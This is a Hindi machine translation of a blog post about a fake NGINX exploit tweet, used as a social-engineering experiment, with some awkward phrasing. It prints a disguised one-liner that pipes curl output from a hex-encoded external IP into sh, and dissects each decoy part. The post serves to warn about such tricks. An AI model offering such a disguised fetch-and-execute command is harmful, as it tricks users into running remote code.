नगनेक्स के लिए एक नकली शोषण के साथ एक सामाजिक प्रयोग की सफलता

लगभग। ट्रांस। : 1 जून को प्रकाशित मूल लेख के लेखक ने सूचना सुरक्षा में रुचि रखने वालों के बीच एक प्रयोग करने का फैसला किया। ऐसा करने के लिए, उन्होंने वेब सर्वर में एक अज्ञात भेद्यता के लिए एक नकली शोषण तैयार किया और इसे अपने ट्विटर पर पोस्ट किया। उनकी धारणाएं - उन विशेषज्ञों द्वारा तुरंत उजागर की जानी चाहिए जो कोड में एक स्पष्ट धोखाधड़ी देखते हैं - बस सच नहीं हुआ ... वे सभी अपेक्षाओं को पार कर गए, और विपरीत दिशा में: ट्वीट को कई लोगों से बहुत समर्थन मिला, जिन्होंने इसकी सामग्री की जांच नहीं की।



TL; DR: श या बैश में फाइल पाइपलाइनिंग का उपयोग कभी न करें। यह आपके कंप्यूटर का नियंत्रण खोने का एक शानदार तरीका है।

मैं आपके साथ 31 मई को बनाए गए कॉमिक PoC शोषण के बारे में एक छोटी कहानी साझा करना चाहता हूं। वह तुरंत जीरो डे इनिशिएटिव (ZDI) के एक सदस्य, एलिसा एसेज शेवचेंको की खबर के जवाब में दिखाई दिए, कि जल्द ही RCE (दूरस्थ कोड निष्पादन) के लिए जाने वाले NGINX में भेद्यता के बारे में जानकारी सामने आएगी। चूंकि एनजीआईएनएक्स कई वेबसाइटों का आधार है, इसलिए खबर में विस्फोट बम के प्रभाव का उत्पादन करना था। लेकिन जानकारी के "जिम्मेदार प्रकटीकरण" की प्रक्रिया में देरी के कारण, जो कुछ हुआ उसका विवरण ज्ञात नहीं था - यह मानक एफडीआई प्रक्रिया है।


NGINX भेद्यता प्रकटीकरण ट्वीट

कर्ल में नई आक्षेप तकनीक पर काम खत्म करने के बाद, मैंने मूल ट्वीट को उद्धृत किया और "वर्किंग पीओसी को लीक किया", जिसमें कोड की एक पंक्ति शामिल थी, जिसे खोजे गए भेद्यता का उपयोग करते हुए माना जाता था। बेशक, यह पूरी बकवास थी। मैंने सोचा था कि वे मुझे तुरंत साफ पानी लाने के लिए लाएंगे, और सबसे अच्छे से मुझे एक दो रीट्वीट (ठीक) मिलेंगे।


नकली शोषण वाला ट्वीट

हालांकि, मैं सोच भी नहीं सकता था कि आगे क्या हुआ। मेरे ट्वीट की लोकप्रियता आसमान छू गई है। हैरानी की बात है कि इस समय (1 जून को 15:00 मास्को समय), अब तक कुछ ने महसूस किया है कि यह एक नकली है। कई लोग इसे बिना जाँच किए ही रिट्वीट कर देते हैं (प्यारे ASCII ग्राफिक्स जो इसे प्रदर्शित करता है, उसकी प्रशंसा करने का उल्लेख नहीं करते हैं)।


जरा देखो क्या सौंदर्य है!

यद्यपि ये सभी लूप और रंग अद्भुत हैं, ज़ाहिर है: उन्हें देखने के लिए, लोगों ने अपनी मशीन पर कोड निष्पादित किया। सौभाग्य से, ब्राउज़र समान रूप से काम करते हैं, और इस तथ्य के संयोजन में कि मुझे कानूनी समस्याओं की आवश्यकता नहीं है, मेरी साइट में छिपे हुए कोड ने किसी भी अतिरिक्त कोड को स्थापित या निष्पादित करने की कोशिश किए बिना सिर्फ इको कॉल किए।

एक छोटी सी विषयांतर: थगक्रोड टीम के netspooky , dnz , I और अन्य लोग कुछ समय के लिए कर्ल कमांड को बाधित करने के लिए विभिन्न तरीकों से खेल रहे हैं, क्योंकि यह शांत है ... और हम गीक्स हैं। netspooky और dnz ने कई नए तरीकों की खोज की जो मुझे बहुत ही अच्छा लग रहा था। मैं मज़े में शामिल हो गया और चालों के एक सेट में आईपी दशमलव रूपांतरण जोड़ने की कोशिश की। यह पता चला कि आईपी को हेक्साडेसिमल में भी बदला जा सकता है। इसके अलावा, कर्ल और अधिकांश अन्य NIX उपकरण हेक्साडेसिमल आईपी खाने का आनंद लेते हैं! इस प्रकार, जो कुछ आवश्यक था, वह बस एक ठोस और सुरक्षित दिखने वाली कमांड लाइन बनाना था। मैं अंततः इस पर बस गया:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00\<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost 

सामाजिक-इलेक्ट्रॉनिक इंजीनियरिंग (एसईई) - बस फ़िशिंग से अधिक

सुरक्षा और आदत इस प्रयोग का मुख्य हिस्सा थे। मुझे लगता है कि यह वे थे जिन्होंने उनकी सफलता का नेतृत्व किया। कमांड लाइन ने स्पष्ट रूप से "127.0.0.1" (प्रसिद्ध लोकलहोस्ट) का हवाला देते हुए सुरक्षा को निहित किया। ऐसा माना जाता है कि लोकलहोस्ट सुरक्षित है और इस पर मौजूद डेटा आपके कंप्यूटर को कभी नहीं छोड़ता है।

आदत प्रयोग का दूसरा प्रमुख SEE घटक था। चूंकि लक्षित दर्शकों में मुख्य रूप से कंप्यूटर सुरक्षा की मूल बातें से परिचित लोग शामिल थे, इसलिए इस तरह के कोड बनाना महत्वपूर्ण था कि इसके हिस्से परिचित और परिचित लग रहे थे (और इसलिए सुरक्षित)। पुराने शोषण की अवधारणाओं के तत्वों को तोड़ना और उन्हें असामान्य तरीके से जोड़ना बहुत सफल रहा है।

नीचे एक पंक्ति का विस्तृत विश्लेषण दिया गया है। इस सूची में सब कुछ प्रकृति में कॉस्मेटिक है , और व्यावहारिक रूप से इसके वास्तविक कार्य के लिए कुछ भी आवश्यक नहीं है।

क्या घटक वास्तव में आवश्यक हैं? ये हैं -gsS ; -O 0x0238f06a ; |sh और वेब सर्वर स्वयं। वेब सर्वर में कोई दुर्भावनापूर्ण निर्देश नहीं था, लेकिन index.html । में लिपि में echo आदेशों का उपयोग करके बस ASCII ग्राफिक्स को पारित किया गया। जब उपयोगकर्ता ने बीच में एक पंक्ति के साथ प्रवेश किया था, तो बीच में index.html लोड और निष्पादित किया गया था। सौभाग्य से, वेब सर्वर के रखवालों का कोई बुरा इरादा नहीं था।

• ../../../%00 - निर्देशिका से बाहर निकलने का चित्रण करता है;
• ngx_stream_module.so - यादृच्छिक NGINX मॉड्यूल के लिए पथ;
• /bin/sh%00\<'protocol:TCP' - हम लक्ष्य मशीन पर कथित रूप से /bin/sh चलाते हैं और टीसीपी चैनल को आउटपुट रीडायरेक्ट करते हैं;
• -O 0x0238f06a#PLToffset - PLT में समाहित किसी मेमोरी ऑफसेट की तरह #PLToffset लिए #PLToffset द्वारा पूरक एक गुप्त घटक;
• |sh; - एक और महत्वपूर्ण टुकड़ा। हमें 0x0238f06a ( 2.56.240.x ) पर स्थित हमलावर वेब सर्वर से आने वाले कोड को निष्पादित करने के लिए आउटपुट को श / बैश में पुनर्निर्देशित करने की आवश्यकता थी;
• nc /dev/tcp/localhost - एक डमी जिसमें netcat /dev/tcp/localhost को संदर्भित करता है ताकि सब कुछ फिर से सुरक्षित दिखे। वास्तव में, यह कुछ भी नहीं करता है और सुंदरता के लिए लाइन में शामिल है।

यह एक-लाइन स्क्रिप्ट के डिकोडिंग और "सामाजिक-इलेक्ट्रॉनिक इंजीनियरिंग" (जटिल फ़िशिंग) के पहलुओं की चर्चा का समापन करता है।

वेब सर्वर कॉन्फ़िगरेशन और काउंटरमेशर्स

चूँकि मेरे अधिकांश सदस्य सूचना सुरक्षा / हैकर हैं, इसलिए मैंने वेब सर्वर को अपनी ओर से "रुचि" की अभिव्यक्तियों के लिए थोड़ा और अधिक प्रतिरोधी बनाने का फैसला किया, ताकि लोगों को कुछ करना पड़े (और इसे स्थापित करने में मज़ा आया)। मैं यहां सभी जालों को सूचीबद्ध नहीं करने जा रहा हूं, क्योंकि प्रयोग अभी भी जारी है, लेकिन यहां कुछ चीजें हैं जो सर्वर करता है:

• सक्रिय रूप से कुछ सामाजिक नेटवर्क पर वितरण के प्रयासों की निगरानी करता है और लिंक का पालन करने के लिए उपयोगकर्ता को प्रोत्साहित करने के लिए विभिन्न पूर्वावलोकन थंबनेल का विकल्प देता है।
• Chrome / Mozilla / Safari / आदि को शेल स्क्रिप्ट दिखाने के बजाय Thugcrowd प्रोमो वीडियो पर पुनर्निर्देशित करता है।
• यह घुसपैठ / हैकिंग के स्पष्ट संकेतों की निगरानी करता है, जिसके बाद यह एनएसए सर्वरों (हा!) के अनुरोधों को पुनर्निर्देशित करना शुरू करता है।
• ट्रोजन, साथ ही रूटकिट BIOS, उन सभी कंप्यूटरों पर स्थापित होता है, जिनके उपयोगकर्ता एक नियमित ब्राउज़र (मजाक) से होस्ट की यात्रा करते हैं।

सुरमा का एक छोटा सा हिस्सा

इस मामले में, मेरा एकमात्र लक्ष्य अपाचे की कुछ विशेषताओं को सीखना था - विशेष रूप से, पुनर्निर्देशित अनुरोधों के लिए शांत नियम - और मैंने सोचा: क्यों नहीं?

NGINX शोषण (असली!)

ट्विटर पर @alisaesage का पालन करें और NGINX में पूरी तरह से वास्तविक कमजोरियों और शोषण के अवसरों को दूर करने के लिए ZDI के उल्लेखनीय कार्य के लिए बने रहें। उनके काम ने मुझे हमेशा मोहित किया है और मैं अपने बेवकूफाना ट्वीट के कारण सभी उल्लेखों और सूचनाओं के साथ धैर्य के लिए ऐलिस का आभारी हूं। सौभाग्य से, इसने कुछ लाभ लाए: एनजीआईएनएक्स कमजोरियों के बारे में जागरूकता बढ़ाने में मदद की, साथ ही साथ कर्ल के दुरुपयोग के कारण होने वाली समस्याएं।